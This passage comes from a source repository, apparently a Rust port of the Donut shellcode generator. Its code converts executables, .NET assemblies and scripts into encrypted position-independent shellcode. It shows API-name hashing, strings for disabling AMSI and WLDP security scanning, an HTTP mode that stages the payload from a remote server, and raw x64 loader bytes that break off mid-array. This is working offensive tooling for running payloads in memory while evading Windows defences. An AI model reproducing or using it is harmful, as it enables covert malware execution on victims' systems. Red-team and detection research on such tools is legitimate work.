0x5f, 0x2c, 0xd0, 0x64], 574 | }; 575 | 576 | pub const xIID_IActiveScriptParse64: GUID = GUID { 577 | data_1: 0xc7ef7658, 578 | data_2: 0xe1ee, 579 | data_3: 0x480e, 580 | data_4: [0x97, 0xea, 0xd5, 0x2c, 0xb4, 0xd7, 0x6d, 0x17], 581 | }; 582 | 583 | pub const xCLSID_VBScript: GUID = GUID { 584 | data_1: 0xB54F3741, 585 | data_2: 0x5B07, 586 | data_3: 0x11cf, 587 | data_4: [0xA4, 0xB0, 0x00, 0xAA, 0x00, 0x4A, 0x55, 0xE8], 588 | }; 589 | 590 | pub const xCLSID_JScript: GUID = GUID { 591 | data_1: 0xF414C260, 592 | data_2: 0x6AC0, 593 | data_3: 0x11CF, 594 | data_4: [0xB6, 0xD1, 0x00, 0xAA, 0x00, 0xBB, 0xBB, 0x58], 595 | }; 596 | 597 | pub fn generate_api_imports() -> Vec { 598 | vec![ 599 | ApiImport { 600 | module: KERNEL32_DLL.to_string(), 601 | name: "LoadLibraryA".to_string(), 602 | }, //0 603 | ApiImport { 604 | module: KERNEL32_DLL.to_string(), 605 | name: "GetProcAddress".to_string(), 606 | }, 607 | ApiImport { 608 | module: KERNEL32_DLL.to_string(), 609 | name: "GetModuleHandleA".to_string(), 610 | }, 611 | ApiImport { 612 | module: KERNEL32_DLL.to_string(), 613 | name: "VirtualAlloc".to_string(), 614 | }, 615 | ApiImport { 616 | module: KERNEL32_DLL.to_string(), 617 | name: "VirtualFree".to_string(), 618 | }, 619 | ApiImport { 620 | module: KERNEL32_DLL.to_string(), 621 | name: "VirtualQuery".to_string(), 622 | }, // 5 623 | ApiImport { 624 | module: KERNEL32_DLL.to_string(), 625 | name: "VirtualProtect".to_string(), 626 | }, 627 | ApiImport { 628 | module: KERNEL32_DLL.to_string(), 629 | name: "Sleep".to_string(), 630 | }, 631 | ApiImport { 632 | module: KERNEL32_DLL.to_string(), 633 | name: "MultiByteToWideChar".to_string(), 634 | }, 635 | ApiImport { 636 | module: KERNEL32_DLL.to_string(), 637 | name: "GetUserDefaultLCID".to_string(), 638 | }, 639 | ApiImport { 640 | module: KERNEL32_DLL.to_string(), 641 | name: "WaitForSingleObject".to_string(), 642 | }, //10 643 | ApiImport { 644 | module: KERNEL32_DLL.to_string(), 645 | name: "CreateThread".to_string(), 646 | }, 647 | ApiImport { 648 | module: KERNEL32_DLL.to_string(), 649 | name: "GetThreadContext".to_string(), 650 | }, 651 | ApiImport { 652 | module: KERNEL32_DLL.to_string(), 653 | name: "GetCurrentThread".to_string(), 654 | }, 655 | ApiImport { 656 | module: KERNEL32_DLL.to_string(), 657 | name: "GetCommandLineA".to_string(), 658 | }, 659 | ApiImport { 660 | module: KERNEL32_DLL.to_string(), 661 | name: "GetCommandLineW".to_string(), 662 | }, // 15 663 | ApiImport { 664 | module: SHELL32_DLL.to_string(), 665 | name: "CommandLineToArgvW".to_string(), 666 | }, 667 | ApiImport { 668 | module: OLEAUT32_DLL.to_string(), 669 | name: "SafeArrayCreate".to_string(), 670 | }, 671 | ApiImport { 672 | module: OLEAUT32_DLL.to_string(), 673 | name: "SafeArrayCreateVector".to_string(), 674 | }, 675 | ApiImport { 676 | module: OLEAUT32_DLL.to_string(), 677 | name: "SafeArrayPutElement".to_string(), 678 | }, 679 | ApiImport { 680 | module: OLEAUT32_DLL.to_string(), 681 | name: "SafeArrayDestroy".to_string(), 682 | }, // 20 683 | ApiImport { 684 | module: OLEAUT32_DLL.to_string(), 685 | name: "SafeArrayGetLBound".to_string(), 686 | }, 687 | ApiImport { 688 | module: OLEAUT32_DLL.to_string(), 689 | name: "SafeArrayGetUBound".to_string(), 690 | }, 691 | ApiImport { 692 | module: OLEAUT32_DLL.to_string(), 693 | name: "SysAllocString".to_string(), 694 | }, 695 | ApiImport { 696 | module: OLEAUT32_DLL.to_string(), 697 | name: "SysFreeString".to_string(), 698 | }, 699 | ApiImport { 700 | module: OLEAUT32_DLL.to_string(), 701 | name: "LoadTypeLib".to_string(), 702 | }, // 25 703 | ApiImport { 704 | module: WININET_DLL.to_string(), 705 | name: "InternetCrackUrlA".to_string(), 706 | }, 707 | ApiImport { 708 | module: WININET_DLL.to_string(), 709 | name: "InternetOpenA".to_string(), 710 | }, 711 | ApiImport { 712 | module: WININET_DLL.to_string(), 713 | name: "InternetConnectA".to_string(), 714 | }, 715 | ApiImport { 716 | module: WININET_DLL.to_string(), 717 | name: "InternetSetOptionA".to_string(), 718 | }, 719 | ApiImport { 720 | module: WININET_DLL.to_string(), 721 | name: "InternetReadFile".to_string(), 722 | }, // 30 723 | ApiImport { 724 | module: WININET_DLL.to_string(), 725 | name: "InternetCloseHandle".to_string(), 726 | }, 727 | ApiImport { 728 | module: WININET_DLL.to_string(), 729 | name: "HttpOpenRequestA".to_string(), 730 | }, 731 | ApiImport { 732 | module: WININET_DLL.to_string(), 733 | name: "HttpSendRequestA".to_string(), 734 | }, 735 | ApiImport { 736 | module: WININET_DLL.to_string(), 737 | name: "HttpQueryInfoA".to_string(), 738 | }, 739 | ApiImport { 740 | module: MSCOREE_DLL.to_string(), 741 | name: "CorBindToRuntime".to_string(), 742 | }, // 35 743 | ApiImport { 744 | module: MSCOREE_DLL.to_string(), 745 | name: "CLRCreateInstance".to_string(), 746 | }, 747 | ApiImport { 748 | module: OLE32_DLL.to_string(), 749 | name: "CoInitializeEx".to_string(), 750 | }, 751 | ApiImport { 752 | module: OLE32_DLL.to_string(), 753 | name: "CoCreateInstance".to_string(), 754 | }, 755 | ApiImport { 756 | module: OLE32_DLL.to_string(), 757 | name: "CoUninitialize".to_string(), 758 | }, 759 | ApiImport { 760 | module: NTDLL_DLL.to_string(), 761 | name: "RtlEqualUnicodeString".to_string(), 762 | }, // 40 763 | ApiImport { 764 | module: NTDLL_DLL.to_string(), 765 | name: "RtlEqualString".to_string(), 766 | }, 767 | ApiImport { 768 | module: NTDLL_DLL.to_string(), 769 | name: "RtlUnicodeStringToAnsiString".to_string(), 770 | }, 771 | ApiImport { 772 | module: NTDLL_DLL.to_string(), 773 | name: "RtlInitUnicodeString".to_string(), 774 | }, 775 | ApiImport { 776 | module: NTDLL_DLL.to_string(), 777 | name: "RtlExitUserThread".to_string(), 778 | }, 779 | ApiImport { 780 | module: NTDLL_DLL.to_string(), 781 | name: "RtlExitUserProcess".to_string(), 782 | }, // 45 783 | ApiImport { 784 | module: NTDLL_DLL.to_string(), 785 | name: "RtlCreateUnicodeString".to_string(), 786 | }, 787 | ApiImport { 788 | module: NTDLL_DLL.to_string(), 789 | name: "RtlGetCompressionWorkSpaceSize".to_string(), 790 | }, 791 | ApiImport { 792 | module: NTDLL_DLL.to_string(), 793 | name: "RtlDecompressBuffer".to_string(), 794 | }, 795 | ApiImport { 796 | module: NTDLL_DLL.to_string(), 797 | name: "NtContinue".to_string(), 798 | }, 799 | ApiImport { 800 | module: KERNEL32_DLL.to_string(), 801 | name: "AddVectoredExceptionHandler".to_string(), 802 | }, // 50 803 | ApiImport { 804 | module: KERNEL32_DLL.to_string(), 805 | name: "RemoveVectoredExceptionHandler".to_string(), 806 | }, 807 | ] 808 | } 809 | -------------------------------------------------------------------------------- /src/donut.rs: -------------------------------------------------------------------------------- 1 | use crate::{ 2 | crypt::{encrypt, maru}, 3 | definitions::*, 4 | loader, 5 | utils::*, 6 | }; 7 | use goblin::pe::utils::get_data; 8 | use goblin::pe::PE; 9 | use std::{fs, io::prelude::*, path::Path}; 10 | 11 | pub fn donut_from_file(target: String, config: &mut DonutConfig) -> Result, String> { 12 | let file = Path::new(&target); 13 | let target = if file.exists() { 14 | fs::read(&target).unwrap() 15 | } else { 16 | return Err("Could not find target file".to_string()); 17 | }; 18 | let file_ext = match file.extension() { 19 | Some(ext) => ext.to_str().unwrap(), 20 | None => return Err("Could not determine file extension".to_string()), 21 | }; 22 | match file_ext { 23 | "exe" => match exe_dll_module_type(&target[..], config, true) { 24 | Ok(_) => {} 25 | Err(e) => return Err(e), 26 | }, 27 | "dll" => match exe_dll_module_type(&target[..], config, false) { 28 | Ok(_) => {} 29 | Err(e) => return Err(e), 30 | }, 31 | "xsl" => config.module_type = DONUT_MODULE_XSL, 32 | "js" => config.module_type = DONUT_MODULE_JS, 33 | "vbs" => config.module_type = DONUT_MODULE_VBS, 34 | _ => {} 35 | } 36 | donut_from_bytes(target, config) 37 | } 38 | 39 | pub fn donut_from_bytes(target: Vec, config: &mut DonutConfig) -> Result, String> { 40 | match build_module(target, config) { 41 | Ok(_) => (), 42 | Err(e) => return Err(e), 43 | } 44 | 45 | let mut instance = match build_instance(config) { 46 | Ok(instance) => instance, 47 | Err(e) => return Err(e), 48 | }; 49 | if config.instance_type == DONUT_INSTANCE_HTTP { 50 | // save module to disk 51 | instance.extend_from_slice(&[0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]); 52 | config 53 | .module_data 54 | .extend_from_slice(&[0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]); 55 | let mut output_file = fs::File::create(&config.modname).expect("could not write file"); 56 | output_file 57 | .write_all(&config.module_data) 58 | .expect("could not write contents to output file"); 59 | } 60 | 61 | match build_loader(config, instance) { 62 | Ok(donut) => Ok(donut), 63 | Err(e) => Err(e), 64 | } 65 | } 66 | 67 | pub fn exe_dll_module_type( 68 | target: &[u8], 69 | config: &mut DonutConfig, 70 | is_exe: bool, 71 | ) -> Result<(), String> { 72 | match detect_dotnet(target) { 73 | Ok(result) => { 74 | if result.is_dotnet { 75 | if is_exe { 76 | config.module_type = DONUT_MODULE_NET_EXE; 77 | config.runtime = result.version; 78 | } else { 79 | config.module_type = DONUT_MODULE_NET_DLL; 80 | config.runtime = result.version; 81 | } 82 | } else { 83 | // no CLR bypasses required, amsi.dll and wldp.dll not required to load into memory 84 | config.bypass = DONUT_BYPASS_NONE; 85 | if is_exe { 86 | config.module_type = DONUT_MODULE_EXE; 87 | } else { 88 | config.module_type = DONUT_MODULE_DLL; 89 | } 90 | } 91 | Ok(()) 92 | } 93 | Err(e) => Err(e), 94 | } 95 | } 96 | 97 | pub fn detect_dotnet(target: &[u8]) -> Result { 98 | let mut result = DotNetResult::default(); 99 | let exe = PE::parse(target).unwrap(); 100 | let optional_header = match exe.header.optional_header { 101 | Some(oh) => oh, 102 | None => { 103 | result.is_dotnet = false; 104 | return Ok(result); 105 | } 106 | }; 107 | let clr_runtime = match optional_header.data_directories.get_clr_runtime_header() { 108 | Some(clr) => clr, 109 | None => { 110 | result.is_dotnet = false; 111 | return Ok(result); 112 | } 113 | }; 114 | if clr_runtime.virtual_address == 0 { 115 | return Ok(result); 116 | } 117 | result.is_dotnet = true; 118 | let file_alignment = optional_header.windows_fields.file_alignment; 119 | let sections = &exe.sections; 120 | let cli_header_value: CliHeader = match get_data(target, sections, *clr_runtime, file_alignment) 121 | { 122 | Ok(cli) => cli, 123 | Err(_) => { 124 | result.is_dotnet = false; 125 | return Ok(result); 126 | } 127 | }; 128 | let metadata_root: MetadataRoot = 129 | match get_data(target, sections, cli_header_value.metadata, file_alignment) { 130 | Ok(meta) => meta, 131 | Err(_) => { 132 | result.is_dotnet = false; 133 | return Ok(result); 134 | } 135 | }; 136 | result.version = metadata_root.version.to_string(); 137 | 138 | Ok(result) 139 | } 140 | 141 | pub fn build_module(target: Vec, config: &mut DonutConfig) -> Result<(), String> { 142 | config.module.module_type = config.module_type; 143 | config.module.thread = config.thread; 144 | config.module.unicode = config.unicode; 145 | config.module.compress = config.compress; 146 | 147 | if config.module_type == DONUT_MODULE_NET_DLL || config.module_type == DONUT_MODULE_NET_EXE { 148 | if config.domain.is_empty() && config.entropy != DONUT_ENTROPY_NONE { 149 | // generate a random domain if one is not specified 150 | config.domain = random_string(DONUT_DOMAIN_LEN); 151 | } else { 152 | config.domain = "AAAAAAAA".to_string(); 153 | } 154 | config.module.domain = to_array_donut_max_name(&config.domain); 155 | 156 | if config.module_type == DONUT_MODULE_NET_DLL { 157 | config.module.class = to_array_donut_max_name(&config.class); 158 | config.module.method = to_array_donut_max_name(&config.method); 159 | } 160 | 161 | // use default runtime if one is not specified 162 | if config.runtime.is_empty() { 163 | config.runtime = DONUT_RUNTIME_NET2.to_string(); 164 | } 165 | config.module.runtime = to_array_donut_max_name(&config.runtime); 166 | } else if config.module_type == DONUT_MODULE_DLL && !config.method.is_empty() { 167 | config.module.method = to_array_donut_max_name(&config.method); 168 | } 169 | // TODO implement compression 170 | config.module.zlen = 0; 171 | config.module.len = target.len() as _; 172 | 173 | if !config.parameters.is_empty() { 174 | if config.module_type == DONUT_MODULE_EXE { 175 | if config.entropy != DONUT_ENTROPY_NONE { 176 | config.module.parameters = to_array_donut_max_name(&format!( 177 | "{} {}", 178 | random_string(DONUT_DOMAIN_LEN), 179 | config.parameters 180 | )); 181 | } else { 182 | config.module.parameters = 183 | to_array_donut_max_name(&format!("AAAAAAAA {}", config.parameters)); 184 | } 185 | } else { 186 | config.module.parameters = to_array_donut_max_name(&config.parameters); 187 | } 188 | } 189 | 190 | let mut struct_bytes = unsafe { any_as_u8_slice(&config.module) }.to_vec(); 191 | 192 | for _ in 0..8 { 193 | struct_bytes.pop(); 194 | } 195 | 196 | config.module_data = struct_bytes; 197 | config.module_data.extend_from_slice(&target); 198 | config 199 | .module_data 200 | .extend_from_slice(&[0x00, 0x00, 0x00, 0x00]); 201 | 202 | Ok(()) 203 | } 204 | 205 | pub fn build_instance(config: &mut DonutConfig) -> Result, String> { 206 | let donut_instance_ptr = &config.instance as *const _ as *mut std::ffi::c_void; 207 | let mut buf = vec![0u8; std::mem::size_of::()]; 208 | unsafe { 209 | std::ptr::copy( 210 | buf.as_mut_ptr() as _, 211 | donut_instance_ptr, 212 | std::mem::size_of::(), 213 | ); 214 | buf.set_len(std::mem::size_of::()); 215 | } 216 | 217 | config.instance.mod_len = config.module_data.len() as _; 218 | config.instance.len = 3312 + 352; // struct size 219 | config.instance.bypass = config.bypass; 220 | 221 | if config.instance_type == DONUT_INSTANCE_EMBED { 222 | config.instance.len += config.instance.mod_len as u32; 223 | } 224 | 225 | if config.entropy == DONUT_ENTROPY_DEFAULT { 226 | config.instance.mod_master_key = generate_bytes(); 227 | config.instance.mod_counter_and_nonce = generate_bytes(); 228 | config.instance.master_key = config.instance.mod_master_key; 229 | config.instance.counter_and_nonce = config.instance.mod_counter_and_nonce; 230 | let sig: [u8; DONUT_MAX_NAME] = to_array_usize(&random_string(DONUT_SIG_LEN)); 231 | config.instance.sig = sig; 232 | 233 | // maru 234 | let iv_arr: [u8; MARU_IV_LEN] = generate_bytes(); 235 | let iv = array_to_u64(iv_arr); 236 | config.instance.iv = iv; 237 | config.instance.mac = maru(sig, iv); 238 | } 239 | 240 | // get APIs 241 | let api_imports = generate_api_imports(); 242 | if api_imports.len() >= 64 { 243 | return Err("more than 64 APIs".to_string()); 244 | } 245 | 246 | for (i, api) in api_imports.iter().enumerate() { 247 | // calculate hash for API string 248 | let mod_as_arr: [u8; DONUT_MAX_NAME] = to_array_usize(&api.module); 249 | let dll_hash = maru(mod_as_arr, config.instance.iv); 250 | 251 | // XOR with DLL hash and store in instance 252 | let name_as_arr: [u8; DONUT_MAX_NAME] = to_array_usize(&api.name); 253 | config.instance.hash[i] = maru(name_as_arr, config.instance.iv) ^ dll_hash; 254 | } 255 | // save amount of APIs to resolve 256 | config.instance.api_cnt = api_imports.len() as _; 257 | config.instance.dll_names = to_array_usize("ole32;oleaut32;wininet;mscoree;shell32"); 258 | 259 | // if module is .NET 260 | if config.module_type == DONUT_MODULE_NET_EXE || config.module_type == DONUT_MODULE_NET_DLL { 261 | config.instance.xIID_AppDomain = xIID_AppDomain; 262 | config.instance.xIID_ICLRMetaHost = xIID_ICLRMetaHost; 263 | config.instance.xCLSID_CLRMetaHost = xCLSID_CLRMetaHost; 264 | config.instance.xIID_ICLRRuntimeInfo = xIID_ICLRRuntimeInfo; 265 | config.instance.xIID_ICorRuntimeHost = xIID_ICorRuntimeHost; 266 | config.instance.xCLSID_CorRuntimeHost = xCLSID_CorRuntimeHost; 267 | } else if config.module_type == DONUT_MODULE_VBS || config.module_type == DONUT_MODULE_JS { 268 | config.instance.xIID_IUnknown = xIID_IUnknown; 269 | config.instance.xIID_IDispatch = xIID_IDispatch; 270 | config.instance.xIID_IHost = xIID_IHost; 271 | config.instance.xIID_IActiveScript = xIID_IActiveScript; 272 | config.instance.xIID_IActiveScriptSite = xIID_IActiveScriptSite; 273 | config.instance.xIID_IActiveScriptSiteWindow = xIID_IActiveScriptSiteWindow; 274 | config.instance.xIID_IActiveScriptParse32 = xIID_IActiveScriptParse32; 275 | config.instance.xIID_IActiveScriptParse64 = xIID_IActiveScriptParse64; 276 | 277 | config.instance.wscript = to_array_usize("WScript"); 278 | config.instance.wscript_exe = to_array_usize("wscript.exe"); 279 | if config.module_type == DONUT_MODULE_VBS { 280 | config.instance.xCLSID_ScriptLanguage = xCLSID_VBScript; 281 | } else { 282 | config.instance.xCLSID_ScriptLanguage = xCLSID_JScript; 283 | } 284 | } 285 | 286 | // required to disable AMSI 287 | config.instance.clr = to_array_usize("clr"); 288 | config.instance.amsi = to_array_usize("amsi"); 289 | config.instance.amsi_init = to_array_usize("AmsiInitialize"); 290 | config.instance.amsi_scan_buf = to_array_usize("AmsiScanBuffer"); 291 | config.instance.amsi_scan_str = to_array_usize("AmsiScanString"); 292 | 293 | // stuff for the PE loader 294 | if !config.parameters.is_empty() { 295 | config.instance.dataname = to_array_usize(".data"); 296 | config.instance.kernelbase = to_array_usize("kernelbase"); 297 | config.instance.cmd_syms = to_array_usize( 298 | "_acmdln;__argv;__p__acmdln;__p___argv;_wcmdln;__wargv;__p__wcmdln;__p___wargv", 299 | ); 300 | } 301 | if config.thread != 0 { 302 | config.instance.exit_api = 303 | to_array_usize("ExitProcess;exit;_exit;_cexit;_c_exit;quick_exit;_Exit"); 304 | } 305 | 306 | // required to disable WLDP 307 | config.instance.wldp = to_array_usize("wldp"); 308 | config.instance.wldp_query = to_array_usize("WldpQueryDynamicCodeTrust"); 309 | config.instance.wldp_is_approved = to_array_usize("WldpIsClassInApprovedList"); 310 | 311 | // set the type of instance we are creating 312 | config.instance.instance_type = config.instance_type; 313 | 314 | // indicate if we should call RtlExitUserProcess to terminate host process 315 | config.instance.exit_opt = config.exit_opt; 316 | // set the fork option 317 | config.instance.oep = config.oep; 318 | //set the entropy level 319 | config.instance.entropy = config.entropy; 320 | 321 | // if module will be downloaded 322 | // set the URL param and req type 323 | if config.instance.instance_type == DONUT_INSTANCE_HTTP { 324 | if !config.modname.is_empty() { 325 | if config.entropy != DONUT_ENTROPY_NONE { 326 | config.module.parameters = to_array_donut_max_name(&format!( 327 | "{} {}", 328 | random_string(DONUT_DOMAIN_LEN), 329 | config.parameters 330 | )); 331 | } else { 332 | config.module.parameters = 333 | to_array_donut_max_name(&format!("AAAAAAAA {}", config.parameters)); 334 | } 335 | } 336 | // append module name 337 | config.instance.server = to_array_usize(&format!("{}/{}", config.server, config.modname)); 338 | // set req type 339 | config.instance.http_req = to_array_usize("GET"); 340 | } 341 | 342 | config.instance_len = config.instance.len; 343 | 344 | if config.instance.instance_type == DONUT_INSTANCE_HTTP 345 | && config.entropy == DONUT_ENTROPY_DEFAULT 346 | { 347 | config.module.mac = maru(config.instance.sig, config.instance.iv); 348 | config.module_data = encrypt( 349 | config.instance.mod_master_key, 350 | config.instance.mod_counter_and_nonce, 351 | config.module_data.clone(), // this is the raw module 352 | ); 353 | let struct_bytes: &[u8] = unsafe { any_as_u8_slice(&config.instance) }; 354 | let mut buf: Vec = struct_bytes.to_vec(); 355 | while buf.len() < (config.instance.len as usize - 16) { 356 | buf.extend_from_slice(&[0x00]); 357 | } 358 | return Ok(buf); 359 | } 360 | 361 | // DONUT_INSTANCE_EMBED 362 | let struct_bytes: &[u8] = unsafe { any_as_u8_slice(&config.instance) }; 363 | let mut buf: Vec = struct_bytes.to_vec(); 364 | 365 | // read module into buf 366 | buf.extend_from_slice(&config.module_data); 367 | 368 | while buf.len() < config.instance.len as usize { 369 | buf.extend_from_slice(&[0x00]) 370 | } 371 | 372 | if config.entropy != DONUT_ENTROPY_DEFAULT { 373 | return Ok(buf); 374 | } 375 | 376 | // encrypt instance 377 | let offset = 378 | 4 + // len u32 379 | 16 + 16 + // cipher key length + cipher block length, instance crypt 380 | 4 + // pad 381 | 8 + // IV 382 | (64 * 8) + // hashes (64 uuids of len 64 bit) 383 | 4 + // exit_opt 384 | 4 + // entropy 385 | 8 386 | // OEP 387 | ; // total = 576 388 | 389 | let encrypted_buf = encrypt( 390 | config.instance.mod_master_key, 391 | config.instance.mod_counter_and_nonce, 392 | buf[offset..].to_vec(), // this is the raw instance 393 | ); 394 | let mut donut_instance: Vec = Vec::new(); 395 | donut_instance.extend_from_slice(&buf[..offset]); // unencrypted header 396 | donut_instance.extend_from_slice(&encrypted_buf); // encrypted body 397 | 398 | Ok(donut_instance) 399 | } 400 | 401 | pub fn build_loader(config: &mut DonutConfig, instance: Vec) -> Result, String> { 402 | let mut buf: Vec = Vec::new(); 403 | buf.extend_from_slice(&[0xe8]); // call $+ 404 | buf.extend_from_slice(&pack(instance.len() as u32)); // instance length 405 | buf.extend_from_slice(&instance); // instance 406 | buf.extend_from_slice(&[0x59]); // pop ecx 407 | 408 | let mut pic_len = instance.len() + 32; 409 | 410 | match config.arch { 411 | DONUT_ARCH_X86 => { 412 | buf.extend_from_slice(&[0x5a, 0x51, 0x52]); // pop edx, push ecx, push edx 413 | let loader_x86 = loader::loader_x86(); 414 | buf.extend_from_slice(&loader_x86); 415 | pic_len += loader_x86.len(); 416 | } 417 | DONUT_ARCH_X64 => { 418 | let loader_x64 = loader::loader_x64(); 419 | buf.extend_from_slice(&loader_x64); 420 | pic_len += loader_x64.len(); 421 | } 422 | DONUT_ARCH_X84 => { 423 | buf.extend_from_slice(&[0x31]); // xor eax, eax 424 | buf.extend_from_slice(&[0xc0]); 425 | buf.extend_from_slice(&[0x48]); // dec ecx 426 | buf.extend_from_slice(&[0x0f]); // js dword x86_code, skips length of x64 code 427 | buf.extend_from_slice(&[0x88]); 428 | let loader_x64 = loader::loader_x64(); 429 | buf.extend_from_slice(&pack(loader_x64.len() as u32)); 430 | buf.extend_from_slice(&loader_x64); 431 | buf.extend_from_slice(&[0x5a, 0x51, 0x52]); // pop edx, push ecx, push edx 432 | let loader_x86 = loader::loader_x86(); 433 | buf.extend_from_slice(&loader_x86); 434 | 435 | pic_len += loader_x86.len(); 436 | pic_len += loader_x64.len(); 437 | } 438 | _ => return Err("architecture error".to_string()), 439 | } 440 | 441 | for _ in 0..(pic_len - buf.len()) { 442 | buf.extend_from_slice(&[0x00]); 443 | } 444 | 445 | Ok(buf) 446 | } 447 | 448 | pub fn create_config(cli: &DonutParser, config: &mut DonutConfig) { 449 | let cli = cli.clone(); 450 | // MODULE OPTIONS 451 | match cli.modname { 452 | Some(val) => config.modname = val, 453 | None => (), 454 | } 455 | match cli.server { 456 | Some(val) => config.server = val, 457 | None => config.instance_type = DONUT_INSTANCE_EMBED, 458 | } 459 | config.entropy = cli.entropy; 460 | // PIC/SHELLCODE OPTIONS 461 | config.arch = cli.arch; 462 | config.bypass = cli.bypass; 463 | match cli.oep { 464 | Some(val) => config.oep = val, 465 | None => (), 466 | } 467 | config.exit_opt = cli.exit_opt; 468 | // FILE OPTIONS 469 | match cli.class { 470 | Some(val) => config.class = val, 471 | None => (), 472 | } 473 | match cli.domain { 474 | Some(val) => config.domain = val, 475 | None => (), 476 | } 477 | match cli.method { 478 | Some(val) => config.method = val, 479 | None => (), 480 | } 481 | match cli.parameters { 482 | Some(val) => config.parameters = val, 483 | None => (), 484 | } 485 | match cli.unicode { 486 | Some(val) => config.unicode = val, 487 | None => (), 488 | } 489 | match cli.runtime { 490 | Some(val) => config.runtime = val, 491 | None => (), 492 | } 493 | match cli.thread { 494 | Some(val) => config.thread = val, 495 | None => (), 496 | } 497 | config.compress = cli.compress; 498 | } 499 | -------------------------------------------------------------------------------- /src/lib.rs: -------------------------------------------------------------------------------- 1 | pub mod crypt; 2 | pub mod definitions; 3 | pub mod donut; 4 | pub mod loader; 5 | pub mod utils; 6 | 7 | // expose donut functions directly 8 | pub use donut::*; 9 | -------------------------------------------------------------------------------- /src/loader.rs: -------------------------------------------------------------------------------- 1 | pub fn loader_x64() -> Vec { 2 | return vec![ 3 | 0x48, 0x89, 0x5c, 0x24, 0x08, 0x48, 0x89, 0x6c, 0x24, 0x10, 0x48, 0x89, 0x74, 0x24, 0x18, 4 | 0x57, 0x48, 0x81, 0xec, 0x00, 0x05, 0x00, 0x00, 0x33, 0xff, 0x48, 0x8b, 0xd9, 0x48, 0x39, 5 | 0xb9, 0x38, 0x02, 0x00, 0x00, 0x0f, 0x84, 0xc0, 0x00, 0x00, 0x00, 0x4c, 0x8b, 0x41, 0x28, 6 | 0x48, 0x8b, 0x91, 0x88, 0x00, 0x00, 0x00, 0xe8, 0x1f, 0x23, 0x00, 0x00, 0x48, 0x85, 0xc0, 7 | 0x0f, 0x84, 0xa1, 0x00, 0x00, 0x00, 0x48, 0x21, 0x7c, 0x24, 0x28, 0x4c, 0x8d, 0x05, 0x32, 8 | 0x11, 0x00, 0x00, 0x21, 0x7c, 0x24, 0x20, 0x4c, 0x8b, 0xcb, 0x33, 0xd2, 0x33, 0xc9, 0xff, 9 | 0xd0, 0x4c, 0x8b, 0x43, 0x28, 0x48, 0x8b, 0xcb, 0x48, 0x8b, 0x93, 0xb8, 0x01, 0x00, 0x00, 10 | 0x48, 0x8b, 0xf8, 0xe8, 0xe7, 0x22, 0x00, 0x00, 0x4c, 0x8b, 0x43, 0x28, 0x48, 0x8b, 0xcb, 11 | 0x48, 0x8b, 0x93, 0x90, 0x00, 0x00, 0x00, 0x48, 0x8b, 0xe8, 0xe8, 0xd1, 0x22, 0x00, 0x00, 12 | 0x4c, 0x8b, 0x43, 0x28, 0x48, 0x8b, 0xcb, 0x48, 0x8b, 0x93, 0x98, 0x00, 0x00, 0x00, 0x48, 13 | 0x8b, 0xf0, 0xe8, 0xbb, 0x22, 0x00, 0x00, 0x48, 0x85, 0xed, 0x74, 0x4c, 0x48, 0x85, 0xf6, 14 | 0x74, 0x47, 0x48, 0x85, 0xc0, 0x74, 0x42, 0xc7, 0x44, 0x24, 0x60, 0x0b, 0x00, 0x10, 0x00, 15 | 0xff, 0xd0, 0x48, 0x8b, 0xc8, 0x48, 0x8d, 0x54, 0x24, 0x30, 0xff, 0xd6, 0x48, 0x8b, 0x83, 16 | 0x38, 0x02, 0x00, 0x00, 0x48, 0x8d, 0x4c, 0x24, 0x30, 0x48, 0x83, 0xa4, 0x24, 0xc8, 0x00, 17 | 0x00, 0x00, 0xf0, 0x33, 0xd2, 0x48, 0x89, 0x84, 0x24, 0x28, 0x01, 0x00, 0x00, 0xff, 0xd5, 18 | 0xeb, 0x0b, 0x48, 0x83, 0xc8, 0xff, 0xeb, 0x08, 0xe8, 0x92, 0x10, 0x00, 0x00, 0x48, 0x8b, 19 | 0xc7, 0x4c, 0x8d, 0x9c, 0x24, 0x00, 0x05, 0x00, 0x00, 0x49, 0x8b, 0x5b, 0x10, 0x49, 0x8b, 20 | 0x6b, 0x18, 0x49, 0x8b, 0x73, 0x20, 0x49, 0x8b, 0xe3, 0x5f, 0xc3, 0xcc, 0xcc, 0xf0, 0xff, 21 | 0x41, 0x08, 0x8b, 0x41, 0x08, 0xc3, 0xb8, 0x01, 0x40, 0x00, 0x80, 0xc3, 0xcc, 0xcc, 0x4d, 22 | 0x85, 0xc0, 0x75, 0x06, 0xb8, 0x03, 0x40, 0x00, 0x80, 0xc3, 0x4c, 0x8b, 0x49, 0x10, 0x49, 23 | 0x8b, 0x81, 0xf4, 0x05, 0x00, 0x00, 0x48, 0x3b, 0x02, 0x75, 0x0d, 0x49, 0x8b, 0x81, 0xfc, 24 | 0x05, 0x00, 0x00, 0x48, 0x3b, 0x42, 0x08, 0x74, 0x19, 0x49, 0x8b, 0x81, 0xb4, 0x06, 0x00, 25 | 0x00, 0x48, 0x3b, 0x02, 0x75, 0x17, 0x49, 0x8b, 0x81, 0xbc, 0x06, 0x00, 0x00, 0x48, 0x3b, 26 | 0x42, 0x08, 0x75, 0x0a, 0x49, 0x89, 0x08, 0xf0, 0xff, 0x41, 0x08, 0x33, 0xc0, 0xc3, 0x49, 27 | 0x83, 0x20, 0x00, 0xb8, 0x02, 0x40, 0x00, 0x80, 0xc3, 0xcc, 0xcc, 0xcc, 0x83, 0xc8, 0xff, 28 | 0xf0, 0x0f, 0xc1, 0x41, 0x08, 0xff, 0xc8, 0xc3, 0xcc, 0x33, 0xc0, 0xc3, 0xcc, 0x48, 0x89, 29 | 0x5c, 0x24, 0x08, 0x48, 0x89, 0x6c, 0x24, 0x10, 0x48, 0x89, 0x74, 0x24, 0x18, 0x57, 0x48, 30 | 0x83, 0xec, 0x20, 0x49, 0x8b, 0xf9, 0x41, 0x8b, 0xe8, 0x48, 0x8b, 0xf1, 0x41, 0xf6, 0xc0, 31 | 0x02, 0x74, 0x1b, 0x48, 0x8b, 0x5c, 0x24, 0x50, 0x48, 0x85, 0xdb, 0x74, 0x1c, 0x48, 0x8b, 32 | 0x49, 0x38, 0x48, 0x8b, 0x01, 0xff, 0x50, 0x08, 0x48, 0x8b, 0x46, 0x38, 0x48, 0x89, 0x03, 33 | 0x40, 0xf6, 0xc5, 0x01, 0x74, 0x1c, 0x48, 0x85, 0xff, 0x75, 0x07, 0xb8, 0x03, 0x40, 0x00, 34 | 0x80, 0xeb, 0x12, 0x48, 0x8d, 0x5e, 0x28, 0x48, 0x8b, 0x03, 0x48, 0x8b, 